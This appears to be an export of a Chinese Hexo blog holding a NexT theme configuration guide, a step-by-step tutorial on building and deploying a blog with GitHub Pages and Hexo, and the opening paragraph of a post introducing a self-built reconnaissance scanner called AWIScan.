<h3 id="footer设置"><a href="#footer设置" class="headerlink" title="footer设置"></a>footer设置</h3><p>用于页脚设置，nexT6.0可以在配置文件中设置页脚。以前用5.X的时候，需要自己手工去修改。所以及时更新很重要哦。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">footer:</span></span><br><span class="line">  <span class="comment"># Specify the date when the site was setup.</span></span><br><span class="line">  <span class="comment"># If not defined, current year will be used.</span></span><br><span class="line">  <span class="attr">since:</span> <span class="comment">#网站建立日期</span></span><br><span class="line"></span><br><span class="line">  <span class="comment"># Icon between year and copyright info.</span></span><br><span class="line">  <span class="attr">icon:</span> <span class="string">heart</span> <span class="comment">#年份和版权之间的图标</span></span><br><span class="line"></span><br><span class="line">  <span class="comment"># If not defined, will be used `author` from Hexo main config.</span></span><br><span class="line">  <span class="attr">copyright:</span> <span class="string">Hywell</span> <span class="comment">#版权</span></span><br><span class="line">  <span class="comment"># -------------------------------------------------------------</span></span><br><span class="line">  <span class="comment"># Hexo link (Powered by Hexo).</span></span><br><span class="line">  <span class="attr">powered:</span> <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">theme:</span></span><br><span class="line">    <span class="comment"># Theme &amp; scheme info link (Theme - NexT.scheme).</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">false</span></span><br><span class="line">    <span class="comment"># Version info of NexT after scheme info (vX.X.X).</span></span><br><span class="line">    <span class="attr">version:</span> <span class="literal">false</span></span><br><span class="line">  <span class="comment"># -------------------------------------------------------------</span></span><br><span class="line">  <span class="comment"># Any custom text can be defined here.</span></span><br><span class="line">  <span class="attr">custom_text:</span> <span class="comment">#输入自定义文本</span></span><br></pre></td></tr></table></figure>
<h3 id="SEO设置"><a href="#SEO设置" class="headerlink" title="SEO设置"></a>SEO设置</h3><p>用于seo优化设置。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">canonical:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">seo:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">index_with_subtitle:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h3 id="Menu设置"><a href="#Menu设置" class="headerlink" title="Menu设置"></a>Menu设置</h3><p>用于导航栏设置。这里的顺序会影响导航栏上显示布局的顺序。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">menu:</span></span><br><span class="line"><span class="symbol">  home:</span> / || home</span><br><span class="line"><span class="symbol">  categories:</span> <span class="keyword">/categories/</span> || th</span><br><span class="line"><span class="symbol">  archives:</span> <span class="keyword">/archives/</span> || archive</span><br><span class="line"><span class="symbol">  tags:</span> <span class="keyword">/tags/</span> || tags</span><br><span class="line"><span class="symbol">  about:</span> <span class="keyword">/about/</span> || user</span><br><span class="line"><span class="symbol"></span></span><br><span class="line"><span class="symbol">menu_settings:</span></span><br><span class="line"><span class="symbol">  icons:</span> true</span><br><span class="line"><span class="symbol">  badges:</span> false <span class="meta">#设置为true会显示具体的数值</span></span><br></pre></td></tr></table></figure>
<h3 id="Schemes设置"><a href="#Schemes设置" class="headerlink" title="Schemes设置"></a>Schemes设置</h3><p>用于样式设置。我采用了Mist样式。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">scheme:</span> Mist</span><br></pre></td></tr></table></figure>
<h3 id="Sidebar设置"><a href="#Sidebar设置" class="headerlink" title="Sidebar设置"></a>Sidebar设置</h3><p>用于侧边栏设置。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">site_state:</span> <span class="literal">true</span> <span class="comment">#显示文章、分类、标签</span></span><br><span class="line"></span><br><span class="line"><span class="attr">social:</span> <span class="comment">#友情链接设置 Key: permalink || icon</span></span><br><span class="line">  <span class="attr">GitHub:</span> <span class="string">https://github.com/hywell</span> <span class="string">||</span> <span class="string">github</span></span><br><span class="line"></span><br><span class="line"><span class="attr">social_icons:</span> <span class="comment">#社交图标</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">icons_only:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">transition:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">github_banner:</span> <span class="string">https://github.com/hywell</span> <span class="string">||</span> <span class="string">Follow</span> <span class="string">me</span> <span class="string">on</span> <span class="string">GitHub</span> <span class="comment"># 用于设置右上角GitHub横幅。</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 友情链接设置</span></span><br><span class="line"><span class="attr">links_icon:</span> <span class="string">link</span></span><br><span class="line"><span class="attr">links_title:</span> <span class="string">友情链接</span></span><br><span class="line"><span class="attr">links_layout:</span> <span class="string">block</span></span><br><span class="line"><span class="comment">#links_layout: inline</span></span><br><span class="line"><span class="attr">links:</span></span><br><span class="line">  <span class="attr">keyword:</span> <span class="string">link</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 侧边栏头像设置</span></span><br><span class="line"><span class="attr">avatar:</span> <span class="string">/images/avatar.png</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 侧边栏目录显示</span></span><br><span class="line"><span class="attr">toc:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">number:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">wrap:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 侧边栏设置</span></span><br><span class="line"><span class="attr">sidebar:</span></span><br><span class="line">  <span class="attr">position:</span> <span class="string">left</span>       <span class="comment">#位置</span></span><br><span class="line">  <span class="attr">display:</span> <span class="string">post</span>        <span class="comment">#显示设置</span></span><br><span class="line">  <span class="attr">scrollpercent:</span> <span class="literal">true</span>  <span class="comment">#滚动百分比</span></span><br><span class="line">  <span class="attr">onmobile:</span> <span class="literal">true</span>       <span class="comment">#窄视图启用侧边栏</span></span><br></pre></td></tr></table></figure>
<h3 id="POST设置"><a href="#POST设置" class="headerlink" title="POST设置"></a>POST设置</h3><p>用于发布设置。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">scroll_to_more:</span> <span class="literal">true</span>      <span class="comment">#如果文章有摘要（&lt;!-- more --&gt;），会自动滚动到摘要下面。</span></span><br><span class="line"><span class="attr">save_scroll:</span> <span class="literal">true</span>         <span class="comment">#通过cookies来缓存阅读进度</span></span><br><span class="line"><span class="attr">excerpt_description:</span> <span class="literal">true</span> <span class="comment">#自动摘录描述作为序言</span></span><br><span class="line"><span class="attr">auto_excerpt:</span>   <span class="comment">#自动摘录，如果不设置&lt;!-- more --&gt;的话，可以用这个来控制</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">length:</span> <span class="number">150</span></span><br><span class="line"></span><br><span class="line"><span class="attr">post_meta:</span>            <span class="comment">#发布元设置</span></span><br><span class="line">  <span class="attr">item_text:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">created_at:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">updated_at:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">categories:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">symbols_count_time:</span>   <span class="comment">#字数与阅读时间统计设置 需安装hexo-symbols-count-time</span></span><br><span class="line">  <span class="attr">separated_meta:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">item_text_post:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">item_text_total:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">awl:</span> <span class="number">25</span></span><br><span class="line">  <span class="attr">wpm:</span> <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Wechat Subscriber           #微信二维码设置</span></span><br><span class="line"><span class="attr">wechat_subscriber:</span></span><br><span class="line">  <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">qcode:</span> <span class="string">/images/Wechat.jpg</span></span><br><span class="line">  <span class="attr">description:</span> <span class="string">描述文字</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Reward                      #打赏设置</span></span><br><span class="line"><span class="attr">reward_comment:</span> <span class="string">打赏comment</span></span><br><span class="line"><span class="attr">wechatpay:</span> <span class="string">/images/wechatpay.jpg</span></span><br><span class="line"><span class="attr">alipay:</span> <span class="string">/images/alipay.jpg</span></span><br><span class="line"><span class="comment">#bitcoin: /images/bitcoin.png</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Declare license on posts    #文章license设置</span></span><br><span class="line"><span class="attr">post_copyright:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">license:</span> <span class="string">CC</span> <span class="string">BY-NC-SA</span> <span class="number">3.0</span></span><br><span class="line">  <span class="attr">license_url:</span> <span class="string">https://creativecommons.org/licenses/by-nc-sa/3.0/</span></span><br></pre></td></tr></table></figure>
<h3 id="Code-Highlight-theme设置"><a href="#Code-Highlight-theme设置" class="headerlink" title="Code Highlight theme设置"></a>Code Highlight theme设置</h3><p>用于代码主题设置。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">highlight_theme:</span> normal</span><br></pre></td></tr></table></figure>
<h3 id="needmoreshare2设置"><a href="#needmoreshare2设置" class="headerlink" title="needmoreshare2设置"></a>needmoreshare2设置</h3><p>用于分享设置。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">needmoreshare2:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">postbottom:</span>     <span class="comment">#文章分享</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">options:</span></span><br><span class="line">      <span class="attr">iconStyle:</span> <span class="string">box</span></span><br><span class="line">      <span class="attr">boxForm:</span> <span class="string">horizontal</span></span><br><span class="line">      <span class="attr">position:</span> <span class="string">bottomCenter</span></span><br><span class="line">      <span class="attr">networks:</span> <span class="string">Weibo,Wechat,Douban,QQZone,Twitter,Facebook,Evernote</span></span><br><span class="line">  <span class="attr">float:</span>         <span class="comment">#浮动分享</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">options:</span></span><br><span class="line">      <span class="attr">iconStyle:</span> <span class="string">box</span></span><br><span class="line">      <span class="attr">boxForm:</span> <span class="string">horizontal</span></span><br><span class="line">      <span class="attr">position:</span> <span class="string">middleRight</span></span><br><span class="line">      <span class="attr">networks:</span> <span class="string">Weibo,Wechat,Douban,QQZone,Twitter,Facebook</span></span><br></pre></td></tr></table></figure>
<h3 id="Local-search设置"><a href="#Local-search设置" class="headerlink" title="Local search设置"></a>Local search设置</h3><p>用于本地搜索，需要安装<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3RoZW1lLW5leHQvaGV4by1nZW5lcmF0b3Itc2VhcmNoZGI=" title="hexo-generator-searchdb">hexo-generator-searchdb<i class="fa fa-external-link-alt"></i></span>。</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">local_search:</span><br><span class="line">  enable: <span class="literal">true</span></span><br><span class="line">  # if auto, <span class="keyword">trigger</span> <span class="keyword">search</span> <span class="keyword">by</span> changing input</span><br><span class="line">  # if manual, <span class="keyword">trigger</span> <span class="keyword">search</span> <span class="keyword">by</span> pressing enter key <span class="keyword">or</span> <span class="keyword">search</span> button</span><br><span class="line">  <span class="keyword">trigger</span>: auto</span><br><span class="line">  # <span class="keyword">show</span> top n results <span class="keyword">per</span> article, <span class="keyword">show</span> <span class="keyword">all</span> results <span class="keyword">by</span> setting <span class="keyword">to</span> <span class="number">-1</span></span><br><span class="line">  top_n_per_article: <span class="number">1</span></span><br></pre></td></tr></table></figure>
<h3 id="Reading-progress-bar设置"><a href="#Reading-progress-bar设置" class="headerlink" title="Reading progress bar设置"></a>Reading progress bar设置</h3><p>用于阅读进度设置，在top显示，需要扩展<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3RoZW1lLW5leHQvdGhlbWUtbmV4dC1yZWFkaW5nLXByb2dyZXNz" title="theme-next-reading-progress">theme-next-reading-progress<i class="fa fa-external-link-alt"></i></span>。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">reading_progress:</span></span><br><span class="line"><span class="symbol">  enable:</span> true</span><br><span class="line"><span class="symbol">  color:</span> <span class="string">&quot;#37c6c0&quot;</span></span><br><span class="line"><span class="symbol">  height:</span> <span class="number">2</span>px</span><br></pre></td></tr></table></figure>
<h3 id="pace设置"><a href="#pace设置" class="headerlink" title="pace设置"></a>pace设置</h3><p>用于页面加载进度设置，我选用了pace-theme-loading-bar，需要扩展<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3RoZW1lLW5leHQvdGhlbWUtbmV4dC1wYWNl" title="theme-next-pace">theme-next-pace<i class="fa fa-external-link-alt"></i></span>。<br>推荐几个我个人感觉不错的：</p>
<ol>
<li>pace-theme-center-atom</li>
<li>pace-theme-center-circle</li>
<li>pace-theme-center-simple</li>
<li>pace-theme-loading-bar<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">pace:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">pace_theme:</span> <span class="string">pace-theme-loading-bar</span></span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="Canvas-nest设置"><a href="#Canvas-nest设置" class="headerlink" title="Canvas-nest设置"></a>Canvas-nest设置</h3><p>用于网页背景效果设置。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">canvas_nest:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h3 id="Gitment设置"><a href="#Gitment设置" class="headerlink" title="Gitment设置"></a>Gitment设置</h3><p>用于页面评论系统设置，本来选用Hypercomments，在样式上设置不好看。因此，换成了Gitment。需要扩展<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2ltc3VuL2dpdG1lbnQ=" title="Gitment">Gitment<i class="fa fa-external-link-alt"></i></span><code>npm i --save gitment</code>。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">gitment:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">mint:</span> <span class="literal">true</span> <span class="comment"># RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway</span></span><br><span class="line">  <span class="attr">count:</span> <span class="literal">true</span> <span class="comment"># Show comments count in post meta area</span></span><br><span class="line">  <span class="attr">lazy:</span> <span class="literal">true</span> <span class="comment"># Comments lazy loading with a button</span></span><br><span class="line">  <span class="attr">cleanly:</span> <span class="literal">false</span> <span class="comment"># Hide &#x27;Powered by ...&#x27; on footer, and more</span></span><br><span class="line">  <span class="attr">language:</span> <span class="comment"># Force language, or auto switch by theme</span></span><br><span class="line">  <span class="attr">github_user:</span> <span class="string">user</span> <span class="comment"># MUST HAVE, Your Github Username</span></span><br><span class="line">  <span class="attr">github_repo:</span> <span class="string">user.github.io</span> <span class="comment"># MUST HAVE, The name of the repo you use to store Gitment comments</span></span><br><span class="line">  <span class="attr">client_id:</span>  <span class="comment"># MUST HAVE, Github client id for the Gitment</span></span><br><span class="line">  <span class="attr">client_secret:</span>  <span class="comment"># EITHER this or proxy_gateway, Github access secret token for the Gitment</span></span><br><span class="line">  <span class="attr">proxy_gateway:</span> <span class="comment"># Address of api proxy, See: https://github.com/aimingoo/intersect</span></span><br><span class="line">  <span class="attr">redirect_protocol:</span> <span class="comment"># Protocol of redirect_uri with force_redirect_protocol when mint enabled</span></span><br></pre></td></tr></table></figure>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>两个配置文件弄得我满脸懵逼！！太难了~~</p>
<ol>
<li>配置文件字段名和字段值中间需要空格;</li>
<li>部分插件安装、配置Hexo、nexT都需进行；</li>
<li>文章中存在特殊符号，需要使用三个单引号以代码形式，不然会报错；</li>
<li>所有配置文件icon都可以在<span class="exturl" data-url="aHR0cDovL2ZvbnRhd2Vzb21lLmlvL2ljb25zLw==">fontawesome<i class="fa fa-external-link-alt"></i></span>选择心仪的，替换即可；</li>
</ol>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>博客搭建</category>
      </categories>
      <tags>
        <tag>博客</tag>
      </tags>
  </entry>
  <entry>
    <title>搭建博客</title>
    <url>/archives/5c83b0d3.html</url>
    <content><![CDATA[<p>　第一次搭建博客，一开始选用GitHub Page + jekyll 从网上找了许多模板，也自己去尝试写，发现总是不如人意。后来，改用GitHub Page + Hexo,套用Next主题满足了折腾的”愿望”。</p>
<span id="more"></span>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><h3 id="Hexo"><a href="#Hexo" class="headerlink" title="Hexo"></a>Hexo</h3><p>　安装Hexo需要先安装Nodejs、Git。</p>
<h4 id="安装Git"><a href="#安装Git" class="headerlink" title="安装Git"></a>安装Git</h4><p>　从Git官网下载对应系统版本进行安装**<span class="exturl" data-url="aHR0cHM6Ly9naXQtc2NtLmNvbS9kb3dubG9hZC8=">Download<i class="fa fa-external-link-alt"></i></span>**。我是Windows系统，因此下载Windows版本。<br><img data-src="https://i.loli.net/2017/08/10/598c23d15d437.png" alt="git.png"><br>　打开终端，输入</p>
<figure class="highlight ada"><table><tr><td class="code"><pre><span class="line">git <span class="comment">--version</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/10/598c23ccbf4de.png" alt="git version.png"><br>　查看对应版本，如果成功输出版本信息代表完成安装。</p>
<h4 id="安装Nodejs"><a href="#安装Nodejs" class="headerlink" title="安装Nodejs"></a>安装Nodejs</h4><p>　从Nodejs官网下载对应系统版本安装**<span class="exturl" data-url="aHR0cDovL25vZGVqcy5jbi9kb3dubG9hZC8=">Download<i class="fa fa-external-link-alt"></i></span>**。我是Windows系统，因此下载Windows版本。<br><img data-src="https://i.loli.net/2017/08/10/598c23d061640.png" alt="nodejs.png"><br>　打开终端，输入</p>
<figure class="highlight coffeescript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">npm</span> -v</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/10/598c23cd3982e.png" alt="npm version.png"><br> 查看对应版本，如果成功输出版本信息代表完成安装。</p>
<h4 id="安装hexo"><a href="#安装hexo" class="headerlink" title="安装hexo"></a>安装hexo</h4><p>　以<strong>管理员权限</strong>打开终端，进入对应目录（以E:\hexo为例）输入</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">E:</span>\hexo&gt;npm install -g hexo</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/10/598c23ce1d58b.png" alt="npm install hexo.png"><br>　安装途中出现会可能WARN不用担心。</p>
<h3 id="域名（可选）"><a href="#域名（可选）" class="headerlink" title="域名（可选）"></a>域名（可选）</h3><p>　GitHub Page可以通过配置，让其可通过自定义域名进行访问（例如通过iassas.com即可访问我的博客）。<br>　建议通过**<span class="exturl" data-url="aHR0cHM6Ly9zZy5nb2RhZGR5LmNvbS96aA==">GoDaddy<i class="fa fa-external-link-alt"></i></span>**申请，输入心仪的域名点击搜索域名。如果域名未被注册，将其添加到购物车。进入购物车进行付款。付款途中根据需要，添加增值服务。<br><img data-src="https://i.loli.net/2017/08/10/598c2374cb835.png" alt="GoDaddy.png"></p>
<h3 id="DNS解析（可选）"><a href="#DNS解析（可选）" class="headerlink" title="DNS解析（可选）"></a>DNS解析（可选）</h3><p>　为了让博客更好、更快地访问就需要配置DNS。<br>　建议通过**<span class="exturl" data-url="aHR0cHM6Ly93d3cuZG5zcG9kLmNuLw==">DNSPOD<i class="fa fa-external-link-alt"></i></span>**申请，免费注册一个账户之后进入个人管理界面。<br>　选择左边菜单栏的[域名解析]，添加一个域名，输入自己的域名（例如iassas.com），点击确定。<br><img data-src="https://i.loli.net/2017/08/10/598c23d0d4a58.png" alt="DNSPOD.png"><br>　点击iassas.com进行配置，点击添加记录，共添加三条记录，添加以下信息进行保存即可。下述第三条www记录中的记录值需要输入对应的github.io（如果没有，请看下一小节）。</p>
<pre><code>| 主机记录 |记录类型 |线路类型 |  记  录  值   |
| @       | A      |默认    |192.30.252.153 |
| @       | A      |默认    |192.30.252.154 |
| www     | CNAME  |默认    |user.github.io |
</code></pre>
<p>　修改域名服务器，以<strong>GoDaddy</strong>结合<strong>DNSPOD</strong>为例。<br>　登陆**<span class="exturl" data-url="aHR0cHM6Ly9zZy5nb2RhZGR5LmNvbS96aA==">GoDaddy<i class="fa fa-external-link-alt"></i></span>**，点击我的产品。选择对应的域名，点击DNS。<br><img data-src="https://i.loli.net/2017/08/10/598c24e3c7de3.png" alt="GoDaddy DNS.png"><br>　在域名服务器项中，使用自定义域名服务器。配置如下</p>
<pre><code>|  域  名  服  务  器  |
|f1g1ns1.dnspod.net   |
|f1g1ns2.dnspod.net   |
</code></pre>
<h3 id="GitHub-Page"><a href="#GitHub-Page" class="headerlink" title="GitHub Page"></a>GitHub Page</h3><p>　<strong>GitHub Page</strong>需要先注册一个<strong>GitHub</strong>账号**<span class="exturl" data-url="aHR0cHM6Ly93d3cuZ2l0aHViLmNvbS8=">GitHub<i class="fa fa-external-link-alt"></i></span>**。<br>　进入个人主页（例如<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2h5d2VsbCVFRiVCQyU4QyVFNiU5OCVBRiVFNiU4OCU5MSVFNyU5QSU4NCVFNCVCOCVCQiVFOSVBMSVCNSVFRiVCQyU4OSVFRiVCQyU4QyVFNyU4MiVCOSVFNSU4NyVCQiVFNSU4RiVCMyVFNCVCOCU4QSVFOCVBNyU5MislRTUlOEYlQjclRUYlQkMlOEMlRTclODIlQjklRTUlODclQkJOZXc=">https://github.com/hywell，是我的主页），点击右上角+号，点击New<i class="fa fa-external-link-alt"></i></span> repository新建库。<br><img data-src="https://i.loli.net/2017/08/10/598c23d265662.png" alt="github.png"><br>　库名需要以账号名.github.io命名（例如hywell.github.io)，权限选择Public。点击下方Create repository建立库。<br><img data-src="https://i.loli.net/2017/08/10/598c23d09c1e8.png" alt="github.io.png"></p>
<h2 id="建站"><a href="#建站" class="headerlink" title="建站"></a>建站</h2><h3 id="创建博客"><a href="#创建博客" class="headerlink" title="创建博客"></a>创建博客</h3><p>　打开终端，输入</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">E:</span>\hexo&gt;hexo init blog</span><br><span class="line"><span class="symbol">E:</span>\hexo&gt;npm install</span><br></pre></td></tr></table></figure>
<p>　成功创建一个站点。<br>　进入站点目录，输入清理、编译、本地运行:</p>
<figure class="highlight excel"><table><tr><td class="code"><pre><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>&gt;hexo <span class="built_in">clean</span></span><br><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>&gt;hexo g</span><br><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>&gt;hexo s</span><br></pre></td></tr></table></figure>
<p>　这时候就可以通过浏览器访问127.0.0.1:4000，见证效果了！</p>
<h3 id="更换主题（可选）"><a href="#更换主题（可选）" class="headerlink" title="更换主题（可选）"></a>更换主题（可选）</h3><p>　本博客套用Next主题，也可自行下载别的主题。打开终端，输入</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">E:\hexo\blog&gt;git clone https:<span class="regexp">//gi</span>thub.com<span class="regexp">/iissnan/</span>hexo-theme-<span class="keyword">next</span> themes/<span class="keyword">next</span></span><br></pre></td></tr></table></figure>
<h3 id="博客配置"><a href="#博客配置" class="headerlink" title="博客配置"></a>博客配置</h3><p>　博客配置文件有**<font color=blue>站点配置文件</font><strong>、</strong><font color=red>主题配置文件</font><strong>。</strong><font color=blue>站点配置文件</font><strong>为博客根目录下的_config.yml文件(E:\hexo\blog\_config.yml)，</strong><font color=red>主题配置文件</font>**为\themes\主题_config.yml文件(E:\hexo\blog\themes\next\_config.yml)。<br>　需要注意的是在修改配置时，配置值前面需要加一个空格。以<code>配置名: 配置值 </code>的形式，例如：<code>title: blog</code>。<br>　这里简要的介绍一些配置。</p>
<h4 id="站点配置"><a href="#站点配置" class="headerlink" title="站点配置"></a>站点配置</h4><p>　修改主题，通过修改**<font color=blue>站点配置文件</font><strong>的theme字段，将其修改成对应的值 <code>theme: next</code>。<br>　修改站点标题，通过修改</strong><font color=blue>站点配置文件</font><strong>的title字段，将其修改成对应的值 <code>title: Blog</code>。<br>　修改站点语言，通过修改</strong><font color=blue>站点配置文件</font><strong>的language字段，将其修改成对应的值<code>language: zh-Hans</code>。<br>　修改时区，通过修改</strong><font color=blue>站点配置文件</font>**的timezone字段，将其修改成对应的值<code>timezone: Asia/Shanghai</code>。</p>
<h4 id="主题配置"><a href="#主题配置" class="headerlink" title="主题配置"></a>主题配置</h4><p>　修改图标，通过修改**<font color=red>主题配置文件</font><strong>的favicon字段，将其修改成对应的值<code>favicon: /images/favicon.ico</code>。<br>　这里的路径为&#x2F;themes&#x2F;next&#x2F;source&#x2F;images&#x2F;favicon.ico，如果没有对应文件，则需要新建。<br>　修改头像，通过修改</strong><font color=red>主题配置文件</font>**的avatar，将其修改成对应的值<code>avatar: /upload/avatar.png</code>。这里的路径为&#x2F;themes&#x2F;next&#x2F;source&#x2F;upload&#x2F;avatar.png，如果没有对应文件，则需要新建。</p>
<h2 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h2><h3 id="GitHub部署"><a href="#GitHub部署" class="headerlink" title="GitHub部署"></a>GitHub部署</h3><p>　使用GitBash(\Git\git-bash.exe)配置身份信息，在GitBash中输入</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">git config <span class="attr">--global</span> user<span class="selector-class">.name</span> <span class="string">&quot;yourname&quot;</span></span><br><span class="line">git config <span class="attr">--global</span> user<span class="selector-class">.email</span> <span class="string">&quot;youremail&quot;</span></span><br><span class="line">ssh-keygen -t rsa -C <span class="string">&quot;youremail&quot;</span></span><br></pre></td></tr></table></figure>
<p>　在用户目录下找到.ssh文件夹(C:\user\youname.ssh)，将id_rsa.pub中的密钥复制到**<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3NldHRpbmdzL2tleXM=">GitHub-Setting-Key<i class="fa fa-external-link-alt"></i></span><strong>中。<br>　点击New SSH key，添加一个新的SSH key：输入任意title、将id_rsa.pub内容粘贴到Key中，最后点击 Add SSH key。<br><img data-src="https://i.loli.net/2017/08/10/598c2bf90d8dc.png" alt="github ssh key.png"><br>　登录</strong><span class="exturl" data-url="aHR0cHM6Ly93d3cuZ2l0aHViLmNvbS8=">GitHub<i class="fa fa-external-link-alt"></i></span>**。对刚刚新建的库（账号名.github.io）进行设置。<br>　　<img data-src="https://i.loli.net/2017/08/10/598c23cf6f0a7.png" alt="github setting.png"><br>　将Custom domain设置为从GoDaddy申请的域名。<br>　　<img data-src="https://i.loli.net/2017/08/11/598cf827d5b57.png" alt="github custom domaain.png"></p>
<h3 id="站点部署"><a href="#站点部署" class="headerlink" title="站点部署"></a>站点部署</h3><p>　配置**<font color=blue>站点配置文件</font>**的Deployment字段，将其修改。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">deploy:</span></span><br><span class="line"><span class="symbol">  type:</span> git</span><br><span class="line"><span class="symbol">  repo:</span> git@github.com:yourname/yourname.github.io.git</span><br><span class="line"><span class="symbol">  branch:</span> master</span><br></pre></td></tr></table></figure>
<p>　如果出现**<font color=red>Deployer not found</font>**，请输入</p>
<figure class="highlight mipsasm"><table><tr><td class="code"><pre><span class="line">E:\hexo\<span class="keyword">blog\npm </span><span class="keyword">install </span>hexo-deployer-git --save</span><br></pre></td></tr></table></figure>
<p>　上传blog。</p>
<figure class="highlight excel"><table><tr><td class="code"><pre><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>\hexo <span class="built_in">clean</span></span><br><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>\hexo g</span><br><span class="line"><span class="symbol">E:</span>\hexo\b<span class="built_in">log</span>\hexo d</span><br></pre></td></tr></table></figure>
<h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><p>　这时候通过账户名.github.io 或者 申请的域名即可访问你的博客了！！</p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>博客搭建</category>
      </categories>
      <tags>
        <tag>博客</tag>
      </tags>
  </entry>
  <entry>
    <title>AWIScan编写之路</title>
    <url>/archives/84cd09d9.html</url>
    <content><![CDATA[<p>红队评估、渗透测试等安全工作最为重要的就是信息收集，信息收集工作需要对目标多方面、多维度进行收集、梳理。相信大家也用过许多信息收集的工具，例如：nmap、msscan、subdomainBrute、whatweb、dirscan、dirsearch、wydomain等等。当对一个目标群体（多ip段 or 多域名）进行信息收集时，往往需要不断在各个工具之间来回切换。通过寻找发现了一款工具：<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1RpZGVTZWMvRnV6elNjYW5uZXI=">FuzzScaner<i class="fa fa-external-link-alt"></i></span>，该工具整合了子域名、端口、指纹、c段等信息收集。但FuzzScaner存在几点问题：1.长期不维护&amp;更新，上次提交为2019.04；2.使用python2，python2马上不被官方支持；3.只做了简单整合，多工具调度之间容易出问题。因此，自己动手造了一个轮子：<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0h5V2VsbC9BV0lTY2Fu">AWIScan<i class="fa fa-external-link-alt"></i></span>——All Web Info Scan。</p>
<p><img data-src="https://i.loli.net/2019/10/23/lLGJKfo2j1Wdvyk.png" alt="AWIScan.png"></p>
